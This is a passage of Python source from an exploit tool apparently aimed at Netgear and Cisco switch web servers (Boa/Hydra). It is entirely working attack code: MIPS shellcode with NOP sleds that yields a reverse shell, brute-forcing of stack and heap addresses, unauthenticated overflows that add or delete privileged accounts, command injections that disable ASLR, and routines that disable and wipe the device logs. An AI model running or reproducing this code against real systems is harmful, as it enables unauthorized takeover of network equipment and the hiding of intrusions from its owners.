		# $v0 = tmpHeaderSize
		# $gp = pointing to heap
		#
		# Gadget:
		# addu $v0,	$g0 # The addition of $v0 and $g0 points to our heap NOP sled
		# jr	$v0 	# Its lovely when [heap] are rwxp :>
		#
		# This adjusting $v0 value (Range: 4 => 9)
		#
		query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP)) * self.target['exploit']['heack_hydra_shell']['v0']

		#
		# fork() reverse shell to get new PID, and jump over child
		#
		query_args += struct.pack('>L',0x24020fa2) # li $v0, 4002 ( fork )
		query_args += struct.pack('>L',0x0101010c) # syscall unk_40404
		query_args += struct.pack('>L',0x1c400101) # bgtz    $v0, +257 ( Jump over child to restart boa/Hydra )

		#
		# Child
		#
		query_args += ((struct.pack('>L',NOP) * 60) + struct.pack('>L',CRLF_NOP))
		query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP))
		query_args += ((struct.pack('>L',NOP) * 63) + struct.pack('>L',CRLF_NOP))
		#
		# Shellcode
		#
		query_args += self.shellcode()
		query_args += ((struct.pack('>L',NOP) * 17) + struct.pack('>L',CRLF_NOP))

		#
		# Parent
		#
		query_args += (struct.pack('>L',NOP) * 59)
		#
		# Restart Boa/Hydra to mitigate DoS
		# (From boa/Hydra binary == binary dependent)
		#
		query_args += struct.pack('>L',0x8f848018) # opcode [la $a0, 0x430000]
		query_args += struct.pack('>L',self.target['exploit']['heack_hydra_shell']['system']) # opcode, binary dependent [la $t9, system]
		query_args += struct.pack('>L',0x0320f809) # opcode [jalr $t9 ; system]
		query_args += struct.pack('>L',self.target['exploit']['heack_hydra_shell']['handler']) # opcode, binary dependent [addiu $a0, (.ascii "handler -c boa &" - 0x430000)]
		query_args += struct.pack('>L',CRLF_NOP)
		#
		# Parent Boa/Hydra will get SIGSEGV here, but we do not care as its restarted
		#

		URI = self.target['exploit']['heack_hydra_shell']['uri'] + (struct.pack('>L',NOP) * 247) + struct.pack('>L',JUMP) + struct.pack('>L',NOP)


		if self.target.get('hash_uri'): # NETGEAR Inc. (GS728TPv2, GS728TPPv2, GS752TPv2, GS752TPP)
			URI = self.target['exploit']['heack_hydra_shell']['uri']
			URI += '&&' # align
			URI += self.netgear_hash(URI)
		#
		# Everything here is designed to have opcodes properly aligned in memory
		#
		MESSAGE = 'POST   '+ URI + ' HTTP/1.1\r\n'	# Important with 3x 0x20 between POST and URI to align opcodes at heap
		MESSAGE += 'Content-Length: 3133337\r\n'	# Trick Boa/Hydra to think we will send more than 1MiB
		MESSAGE += 'Host:PWN' + '\r\n\r\n'			# 'PWN' = Align opcodes in memory
		DEBUG("SEND",MESSAGE)
		MESSAGE += query_args


		log.success("Payload: {} bytes, $v0: {}".format(len(query_args),hex(len(query_args)) ))

		self.rport = int(self.rhost.split(":")[1])
		self.rhost = self.rhost.split(":")[0]

		try:
			r = remote(self.rhost,self.rport,ssl=False) # HTTP Working, about 0x105c in $v0
			#r = remote(self.rhost,self.rport,ssl=True) # HTTPS Not working, need minimium 0x4350 in $v0
		except Exception as e:
			# Dirty but works
			self.event.set()
			remote("127.0.0.1",self.lport,ssl=False)
			return False
		try:
			r.send(MESSAGE)
			r.close()
		except Exception as e:
			# Dirty but works
			self.event.set()
			remote("127.0.0.1",self.lport,ssl=False)
			return False

	#
	# Access: N/A
	# Exploitable: N/A
	#
	# Start thread for exploting, create a listener on LPORT, wait for connection and stop the exploit thread when remote connected
	#
	def heack_shell(self, target):
		self.target = target

		if not self.target['exploit']['heack_cgi_shell']['vulnerable']:
			log.failure("Not listed as vulnerable")
			return False

		thread.start_new_thread(self.heack_exploit,("heack_exploit",self.target))

		l = listen(port=lport)
		c = l.wait_for_connection()
		if not self.event.is_set():
			self.event.set() # Success, got the connection, stop trying to exploit
			c.interactive(prompt = '# ')
			return True
		else:
			log.failure("Got internal connection to quit")
			c.close()
			return False

	#
	# Access: Unauthorized
	#
	# This will load shellcode on remote, used for both stack and heap.
	# stack: walk down in stack and hit the NOP sled to execute shellcode
	# heap: walk up on heap and hit the NOP sled to execute shellcode
	#
	def heack_exploit(self, threadName, target):
		self.threadName = threadName
		self.target = target

		time.sleep(2) # So this will be consistent after output from 'reverse_shell'
		shell = log.progress('shellcode')

		self.Workaround = self.target['exploit']['heack_cgi_shell']['workaround']

		NOP = 0x2406ffff	# NOP (li $a2, 0xFFFFFFFF)

		START = self.target['exploit']['heack_cgi_shell']['START']

		if self.target['exploit']['heack_cgi_shell']['stack']:
			EXPR = (START > self.target['exploit']['heack_cgi_shell']['STOP']) # down on stack
		else:
			EXPR = (START < self.target['exploit']['heack_cgi_shell']['STOP']) # up on heap

		while EXPR:
			if self.Workaround:
				self.Workaround_logout()

			shell.status("{} searching".format(hex(START)))
			#
			#
			query_args = self.target['exploit']['heack_cgi_shell']['query']
			query_args = query_args.replace("_ALIGN",self.random_string(self.target['exploit']['heack_cgi_shell']['align']))
			query_args = query_args.replace("_USRNOP",struct.pack('>L',NOP) * self.target['exploit']['heack_cgi_shell']['usr_nop'])
			query_args = query_args.replace("_SHELLCODE",self.shellcode())
			query_args = query_args.replace("_PWDNOP",struct.pack('>L',NOP) * self.target['exploit']['heack_cgi_shell']['pwd_nop']) # Filler only

			if self.target['login']['encryption'] == 'caesar':
				query_args = query_args.replace("_RA_START",struct.pack('>L',START + 0xc1c1c1c1)) # caesar bug? =]
			else:
				query_args = query_args.replace("_RA_START",struct.pack('>L',START))

			try:
				URI = self.target['exploit']['heack_cgi_shell']['login_uri']
				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded

				#DEBUG("RECV",response.read())
				#self.event.set()
				#r = remote("127.0.0.1",self.lport,ssl=False)
				#r.close()

			except Exception as e:
				if e.code == 502:
					pass
				else:
					shell.failure(str(e))
					self.event.set()
					r = remote("127.0.0.1",self.lport,ssl=False)
					r.close()
					return False

			if self.event.is_set():
				shell.success("{} <= found".format(hex(START))) # Its lovely when [stack] are rwxp :>
				return True

			if self.target['exploit']['heack_cgi_shell']['stack']:
				START = START - 0x30 # Walk down from top of stack
			else:
				START = START + 0xC00 # Walk up on heap (and bigger jumps)

		shell.failure("Not found, play with start/stop addresses?")
		# Little dirty but works
		self.event.set()
		r = remote("127.0.0.1",self.lport,ssl=False)
		r.close()
		return False

	#
	# Access: Unauthorized
	#
	def stack_add_account(self, target):
		self.target = target

		account = log.progress("Stack ADD Account")

		if not self.target['exploit']['stack_cgi_add_account']['vulnerable']:
			account.failure("Not listed as vulnerable")
			return False

		URI = self.target['exploit']['stack_cgi_add_account']['uri']

		log.info("Credentials: {}/{}".format(str(self.credentials.split(':')[0]),str(self.credentials.split(':')[1])))

		self.Workaround = self.target['exploit']['stack_cgi_add_account']['workaround']
		if self.Workaround:
			self.Workaround_logout()

		try:
			time.sleep(1)
			query_args = self.target['exploit']['stack_cgi_add_account']['content']
			query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_add_account']['address'] + 0x58000000)) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_add_account']['account'])
			query_args = query_args.replace("USERNAME",str(self.credentials.split(':')[0]))
			query_args = query_args.replace("PASSWORD",str(self.credentials.split(':')[1]))
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())
			account.failure(response.code)
			return False

		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				account.success("success")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				account.failure(str(e))
				return False
	#
	# Access: Unauthorized
	#
	def stack_del_account(self, target):
		self.target = target

		account = log.progress("Stack DEL Account")

		if not self.target['exploit']['stack_cgi_del_account']['vulnerable']:
			account.failure("Not listed as vulnerable")
			return False

		URI = self.target['exploit']['stack_cgi_del_account']['uri']

		self.Workaround = self.target['exploit']['stack_cgi_del_account']['workaround']
		if self.Workaround:
			self.Workaround_logout()

		try:
			time.sleep(1)
			query_args = self.target['exploit']['stack_cgi_del_account']['content']
			query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_del_account']['address'] + 0x58000000)) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_del_account']['account'])
			query_args = query_args.replace("USERNAME",self.credentials.split(':')[0])
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())
			account.failure(response.code)
			return False

		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				account.success("success")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				account.failure(str(e))
				return False

	#
	# Access: Unauthorized
	#
	def stack_cgi_diag(self, target):
		self.target = target

		ping = log.progress("Stack DIAG")

		if not self.target['exploit']['heack_cgi_shell']['stack']:
			ping.success("heap selected (ASLR == False)")
			return True

		if not self.target['exploit']['stack_cgi_diag']['vulnerable']:
			ping.failure("Not listed as vulnerable")
			return False

		ASLR_ENABLED = True # Always assume that ASLR is enabled, until verified

		URI = self.target['exploit']['stack_cgi_diag']['uri']

		self.Workaround = self.target['exploit']['stack_cgi_diag']['workaround']
		if self.Workaround:
			self.Workaround_logout()

		try:
			time.sleep(1)
			# Inject  (disable ASLR)
			ping.status("Injecting to disable")
			query_args = self.target['exploit']['stack_cgi_diag']['content']
			query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_diag']['web_sys_ping_post'] + 0x58000000)) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_diag']['sys_ping_post_cmd'])
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())

			if self.target['exploit']['stack_cgi_diag']['sys_ping_post_SIGSEGV']:
				if self.Workaround:
					self.Workaround_logout()
				ping.failure("Disable Injection: Failed!")
				return False
		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				ping.status("Done")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				ping.failure(str(e))
				return False

		if self.target['exploit']['stack_cgi_diag']['sys_ping_post_check']:
			try:
				time.sleep(1)
				# Inject  (check ASLR)
				ping.status("Injecting to verify")
				query_args = self.target['exploit']['stack_cgi_diag']['content']
				query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_diag']['web_sys_ping_post'] + 0x58000000)) ) # 0x58 will be overwritten
				query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_diag']['sys_ping_post_check'])
				DEBUG("SEND",(URI, query_args))

				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
				DEBUG("RECV",response.read())

				if self.Workaround:
					self.Workaround_logout()
				ping.failure("Verify Injection: Failed!")


			except Exception as e:
				DEBUG("RECV",str(e))
				if e.code == 502:
					time.sleep(1)
					ping.status("Verifying ASLR")
					if self.Workaround:
						self.Workaround_logout()
				else:
					ping.failure(str(e))
					return False

		try:
			time.sleep(1)
			URI = self.target['exploit']['stack_cgi_diag']['verify_uri']
			DEBUG("SEND",URI)

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
			response = response.read().split()
			DEBUG("RECV",response)

			if response[0] == '0':
				ping.success("ASLR disabled")
				return True
			else:
				ping.failure("ASLR still enabled")
				return False
		except Exception as e:
			DEBUG("RECV",str(e))
			if force:
				ping.success("Forcing... ASLR might been disabled")
				return True
			else:
				ping.failure(str(e))
				log.failure("You can try with --force, some FW do not process correctly after ASLR been disabled")
				log.failure("or you can give --auth_shell a try instead")
				return False

	#
	# Access: Unauthorized
	#
	def stack_cgi_sntp(self, target):
		self.target = target

		SNTP = log.progress("Stack SNTP")

		if not self.target['exploit']['heack_cgi_shell']['stack']:
			SNTP.success("heap selected (ASLR == False)")
			return True

		if not self.target['exploit']['stack_cgi_sntp']['vulnerable']:
			SNTP.failure("Not listed as vulnerable")
			return False

		ASLR_ENABLED = True
		URI = self.target['exploit']['stack_cgi_sntp']['uri']

		self.Workaround = self.target['exploit']['stack_cgi_sntp']['workaround']
		if self.Workaround:
			self.Workaround_logout()

		try:
			time.sleep(1)
			# Enable SNTP
			SNTP.status("Enable SNTP")
			query_args = self.target['exploit']['stack_cgi_sntp']['content']
			query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set'] + 0x58000000)) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_cmd_enable'])
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())

			if self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_SIGSEGV']:
				SNTP.failure("Enable SNTP: Failed!")
				return False

			if self.Workaround:
				self.Workaround_logout()

		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				SNTP.status("SNTP Enabled")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				SNTP.failure(str(e))
				return False

		try:
			time.sleep(1)
			# Inject SNTP (disable ASLR)
			SNTP.status("Injecting to disable")
			query_args = self.target['exploit']['stack_cgi_sntp']['content']
			query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set'] + 0x58000000)) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set_cmd'])
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())

			if self.Workaround:
				self.Workaround_logout()
			SNTP.failure("Disable Injection: Failed!")
			return False
		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				SNTP.status("Done")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				SNTP.failure(str(e))
				return False

		if self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set_check']:
			try:
				time.sleep(1)
				# Inject SNTP (check ASLR)
				SNTP.status("Injecting to verify")
				query_args = self.target['exploit']['stack_cgi_sntp']['content']
				query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set'] + 0x58000000)) ) # 0x58 will be overwritten
				query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSntp_set_check'])
				DEBUG("SEND",(URI, query_args))

				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
				DEBUG("RECV",response.read())

				if self.Workaround:
					self.Workaround_logout()
				SNTP.failure("Verify Injection: Failed!")
				return False
			except Exception as e:
				DEBUG("RECV",str(e))
				if e.code == 502:
					pass
				else:
					SNTP.failure(str(e))
					return False


		SNTP.status("Verifying ASLR")
		if self.Workaround:
			self.Workaround_logout()

		try:
			time.sleep(1)
			URI = self.target['exploit']['stack_cgi_sntp']['verify_uri']
			DEBUG("SEND",URI)
			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
			response = response.read().split()
			DEBUG("RECV",response)

			if response[0] == '0':
				SNTP.success("ASLR disabled")
				ASLR_ENABLED = False
			else:
				SNTP.failure("ASLR Enabled")
				return False

		except Exception as e:
			DEBUG("RECV",str(e))
			if force:
				SNTP.success("Forcing... ASLR might been disabled")
			else:
				SNTP.failure(str(e))
				return False

		try:
			time.sleep(1)
			# Delete SNTP injection
			URI = self.target['exploit']['stack_cgi_sntp']['uri']
			SNTP.status("Removing injection")
			query_args = self.target['exploit']['stack_cgi_sntp']['content']
			query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSntpDel_set'] + 0x58000000)) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSntpDel_set_cmd'])
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())

			SNTP.failure("Removing injection: Failed!")
			if self.Workaround:
				self.Workaround_logout()
			return False
		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				SNTP.status("Done")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				SNTP.failure(str(e))
				return False

		try:
			time.sleep(1)
			# Disable SNTP
			SNTP.status("Disable SNTP")
			query_args = self.target['exploit']['stack_cgi_sntp']['content']
			query_args = query_args.replace("_JUMP_", urllib.quote_plus(struct.pack('>L',self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set'] + 0x58000000)) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_cmd_disable'])
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())

			if self.target['exploit']['stack_cgi_sntp']['sys_timeSettings_set_SIGSEGV']:
				SNTP.failure("Disable SNTP: Failed!")
				return False

			if self.Workaround:
				self.Workaround_logout()

		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				SNTP.status("SNTP Disabled")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				SNTP.failure(str(e))
				return False


		if not ASLR_ENABLED:
			SNTP.success("Success")
			return True
		else:
			SNTP.failure("ASLR Enabled: Failure")
			return False

	#
	# Access: Unauthorized
	#
	def stack_cgi_log(self, target):
		self.target = target

		self.Workaround = self.target['exploit']['stack_cgi_log']['workaround']

		if self.Workaround:
			self.Workaround_logout()

		URI = self.target['exploit']['stack_cgi_log']['uri']

		logging = log.progress("Stack LOG disable & clean")
		if not self.target['exploit']['stack_cgi_log']['vulnerable']:
			logging.failure("No logging on this switch (?)")
			return True
		try:
			# Disable logging
			time.sleep(1)
			logging.status("Trying to disable")
			query_args = self.target['exploit']['stack_cgi_log']['content']
			query_args = query_args.replace("_JUMP_", struct.pack('>L',self.target['exploit']['stack_cgi_log']['log_settings_set'] + 0x58000000) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_log']['log_settings_set_cmd'])
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())

			if self.target['exploit']['stack_cgi_log']['log_settings_set_SIGSEGV']:
				logging.failure("Disable: Failed!")
				return False

			if self.Workaround:
				self.Workaround_logout()
		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				logging.status("Disabled")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				logging.failure(str(e))
				return False

		try:
			# clean ram log
			time.sleep(1)
			logging.status("Trying to clean ramlog")
			query_args = self.target['exploit']['stack_cgi_log']['content']
			query_args = query_args.replace("_JUMP_", struct.pack('>L',self.target['exploit']['stack_cgi_log']['log_ramClear'] + 0x58000000) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_log']['log_ramClear_cmd'])
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())

			if self.target['exploit']['stack_cgi_log']['log_ramClear_SIGSEGV']:
				logging.failure("Clean RAM: Failed!")
				return False
			if self.Workaround:
				self.Workaround_logout()
			logging.status("Cleaned")

		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				logging.status("Cleaned")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				logging.failure(str(e))
				return False

		try:
			# clean file log
			time.sleep(1)
			logging.status("Trying to clean filelog")
			query_args = self.target['exploit']['stack_cgi_log']['content']
			query_args = query_args.replace("_JUMP_", struct.pack('>L',self.target['exploit']['stack_cgi_log']['log_fileClear'] + 0x58000000) ) # 0x58 will be overwritten
			query_args = query_args.replace("_CMD_",self.target['exploit']['stack_cgi_log']['log_fileClear_cmd'])
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			DEBUG("RECV",response.read())

			if self.target['exploit']['stack_cgi_log']['log_fileClear_SIGSEGV']:
				logging.failure("Clean FILE: Failed!")
				return False
			if self.Workaround:
				self.Workaround_logout()
			logging.status("Cleaned")

		except Exception as e:
			DEBUG("RECV",str(e))
			if e.code == 502:
				logging.status("Cleaned")
				if self.Workaround:
					self.Workaround_logout()
				pass
			else:
				logging.failure(str(e))
				return False

		if self.Workaround:
			self.Workaround_logout()

		logging.success("Success")

		return True

	#
	# Access: Unauthorized
	#
	def verify_target(self,target,check_all):
		self.target = target
		self.check_all = check_all

		self.headers['Content-Type'] = "multipart/form-data; boundary=-------"

		self.Workaround = self.target['exploit']['heack_cgi_shell']['workaround']

		sorted_dict = OrderedDict(sorted(self.target['verify'].items(), key=lambda t: t[0])) # sorted by key
		for check in sorted_dict:

			if self.Workaround:
				self.Workaround_logout()
			#
			# If we will try exploit, verify only that CGI
			#
			if not self.check_all:
				check = self.target['exploit']['heack_cgi_shell']['cgi']

			cgi = log.progress("{:.<30}".format(check))

			if not len(self.target['verify'][check]['content']) == 0:
				if self.target['verify'][check]['Content-Type']:
					query_args = "Content-Type\n\n" + self.target['verify'][check]['content']
				else:
					query_args = self.target['verify'][check]['content']

			if not self.target['verify'][check]['safe']:
				cgi.success("Vulnerable ({})".format(self.target['verify'][check]['content']))
				continue

			URI = self.target['verify'][check]['uri']

			if target.get('hash_uri'):
				URI += self.netgear_hash(URI)

			try:
				if not len(self.target['verify'][check]['content']) == 0:
					DEBUG("SEND",(URI, query_args))

					response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
				else:
					DEBUG("SEND",URI)

					response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded

				if self.target['verify'][check]['response'] == 'json':
					result = json.loads(response.read())
					DEBUG("RECV",result)

					if result['result'] == 1 and result['msg'] == "Invalid file format.":
						cgi.success("Vulnerable ({})".format(result['msg']))
						if not self.check_all:
							return True
					else:
						cgi.failure("NOT Vulnerable")
						if not self.check_all:
							return False

				elif self.target['verify'][check]['response'] == 'xss':
					response = re.split('["?=&<>]',response.read())	# bummer to split out '<>''
					DEBUG("RECV",response)

					count = 0
					for content in range(0,len(response)):
						if response[content] == self.target['verify'][check]['content_check']:
							cgi.success("Vulnerable")
							if not self.check_all:
								return True
						else:
							#
							# Since we split out '<>' above, make sure to count in 'script' and '/script'
							#
							if response[content] == 'alert(XSS);' and response[content-1] == 'script' and response[content+1] == '/script':
								count += 1
					if count:
						cgi.success("Vulnerable (XSS: {})".format(count))
						if not self.check_all:
							return True
					else:
						cgi.failure("NOT Vulnerable")
						if not self.check_all:
							return False

				elif self.target['verify'][check]['response'] == 'html':
					response = re.split("['()<>\n:,.&=]",response.read())
					DEBUG("RECV",response)

					for content in range(0,len(response)):
						if response[content] == self.target['verify'][check]['content_check'] or response[content] == 'Image CRC32 Error':
							cgi.success("Vulnerable ({})".format(response[content]))
							if not self.check_all:
								return True
						#
						# We checking what will be returned from the request
						# 1. The error message is correct
						# 2. LEN of our 'content' matching reported LEN from target
						#
						elif response[content] == 'errkey':
							if response[content+1] == self.target['verify'][check]['content_check'] and int(response[content+3]) == int(len(self.target['verify'][check]['content'])):
								cgi.success("Vulnerable ({})".format(response[content+1]))
								if not self.check_all:
									return True
							else:
								cgi.failure("NOT Vulnerable")
								if not self.check_all:
									return False
				
				elif self.target['verify'][check]['response'] == 'file':
					if self.target['verify'][check]['check_uri']:
						try:
							time.sleep(1) # Some checks needs to have some time
							URI = self.target['verify'][check]['check_uri']
							DEBUG("SEND",URI)

							response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,False) # not encoded
							response = response.read()
							DEBUG("RECV",response)

							if response == self.target['verify'][check]['content_check']:
								cgi.success("Vulnerable ({})".format(response))
								if not self.check_all:
									return True
							else:
								cgi.failure("NOT Vulnerable")
								if not self.check_all:
									return False

						except Exception as e:
							cgi.failure(str(e))
							return False
					else:
						cgi.failure("Not vulnerable")
						if not self.check_all:
							return False

				cgi.failure("Not vulnerable")
				if not self.check_all:
					return False

			except Exception as e:
				DEBUG("RECV",str(e))
				if e.code == 502:
					cgi.success("Vulnerable ({})".format(e))
					if not self.check_all:
						return True
					pass
				else:
					cgi.failure(str(e))
					return False

		return True

	#
	# Access: Unauthorized
	#
	def check_remote(self,etag):
		self.manualETag = etag

		remote = log.progress("Target")

		if self.manualETag:
			if self.manualETag == 'help':
				print ""
				remote.success("List of known targets")
			elif self.manualETag == 'info':
				print ""
				remote.success("Brief information of known targets")

			target = Vendor(self.manualETag).dict()
			if target:
				remote.success("{} ({} v{})".format(target['vendor'],target['model'],target['version']))
				return target
			else:
				remote.failure("Unknown ({})".format(self.manualETag))
				return False

		remote.status("Checking")
		URI = '/'
		DEBUG("SEND",URI)

		response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True) # encoded
		result = response.read().split()
		DEBUG("RECV",result)

		#
		# Use HTTP ETag to identify remote vendor and FW version, to choose right code/gadgets
		#
		self.ETag = response.info().get('ETag').replace('"','')
		DEBUG("RECV",response.info())

		target = Vendor(self.ETag).dict()
		if not target:
			remote.failure("Unknown ({})".format(self.ETag))
			return False

		if target:
			remote.success("{} ({} v{})".format(target['vendor'],target['model'],target['version']))
			if target['info_leak']:
				info_leak = log.progress("Model")
				URI = target['info_leak_uri']
				DEBUG("SEND",URI)

				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,None,None,True) # encoded
				response = response.read()

				if target['info_leak_JSON']:
					result = json.loads(response)
					DEBUG("RECV",response)
					tmp = result.get('data')
					if tmp.get('description'):
						info_leak.success(result['data']['description'])
					elif tmp.get('productName'):
						info_leak.success(result['data']['productName'])
					elif tmp.get('title'):
						info_leak.success(result['data']['title'])
					else:
						info_leak.failure("Failed")
				else:
					response = re.split('[()<>\n:,.;=" ]',response)
					DEBUG("RECV",response)
					for check in range(0,len(response)):
						if response[check] == 'modelName':
							info_leak.success(response[check+2])
							return target
					info_leak.failure("Not found")
					print response

			return target

	#
	# Access: Unauthorized
	#
	def add_user(self,target):
		self.target = target

		add = log.progress("Adding credentials")

		if not self.target['exploit']['priv15_account']['vulnerable']:
			add.failure("Not listed as vulnerable")
			if self.target['exploit']['stack_cgi_add_account']['vulnerable']:
				return self.stack_add_account(self.target)
			else:
				return False

		USERNAME = self.credentials.split(':')[0]

		if USERNAME == 'admin' or USERNAME == 'cisco':
			log.failure("[bad boy] Username '{}' shall not be changed!".format(USERNAME))
			return False

		if target['exploit']['priv15_account']['encryption'] == 'md5':
			PASSWORD = self.md5hash(self.credentials.split(':')[1], base64encode=True)
		elif target['exploit']['priv15_account']['encryption'] == 'clear':
			PASSWORD = self.credentials.split(':')[1]
		elif target['exploit']['priv15_account']['encryption'] == 'nopassword':
			PASSWORD = 'nopassword' # dummy
		else:
			log.failure("No password type")
			return False

		query_args = self.target['exploit']['priv15_account']['content']
		query_args = query_args.replace('USERNAME',USERNAME)
		query_args = query_args.replace('PASSWORD',PASSWORD)

		log.info("Credentials: {}/{}".format(USERNAME,PASSWORD))

		try:
			add.status("Trying...")
			URI = target['exploit']['priv15_account']['add_uri']
			DEBUG("SEND",(URI, query_args))

			response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
			response = response.read().split()
			DEBUG("RECV",response)
			for check in range(0,len(response)):
				if response[check] == 'init(){fileLoadWait();' or response[check] == 'id="reason">Merging' or response[check] == '(tmpStr.indexOf("FlashWriteDone")':
					add.success("Success")
					time.sleep(5) # Wait a bit so the account will be merged
					return True

		except Exception as e:
			add.failure("error {}".format(e))
			return False

		add.failure("Failed")
		print response
		return False

	#
	# Access: Authenticated
	#
	def del_user(self, target):
		self.target = target

		if not self.target['exploit']['priv15_account']['vulnerable']:
			remove.failure("Not listed as vulnerable")
			if self.target['exploit']['stack_cgi_del_account']['vulnerable']:
				return self.stack_del_account(self.target)
			else:
				return False

		USERNAME = self.credentials.split(':')[0]
		remove = log.progress("Remove credentials for {}".format(USERNAME))

		if USERNAME == 'admin' or USERNAME == 'cisco':
			remove.failure("[bad boy] Username '{}' shall not be deleted!".format(USERNAME))
			return False

		if self.check_XSID(self.target):
			self.headers['X-CSRF-XSID'] = self.Cisco_XSID(self.target)

		try:
			remove.status("Trying...")

			URI = target['exploit']['priv15_account']['del_uri']

			if len(self.target['exploit']['priv15_account']['del_query']) >= 1:
				query_args = self.target['exploit']['priv15_account']['del_query']
				query_args = query_args.replace('USERNAME',USERNAME)
				DEBUG("SEND",(URI, query_args))

				response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,self.headers,query_args,None,False) # not encoded
				result = response
			else:
				URI = URI.replace('USERNAME',USERNAME)
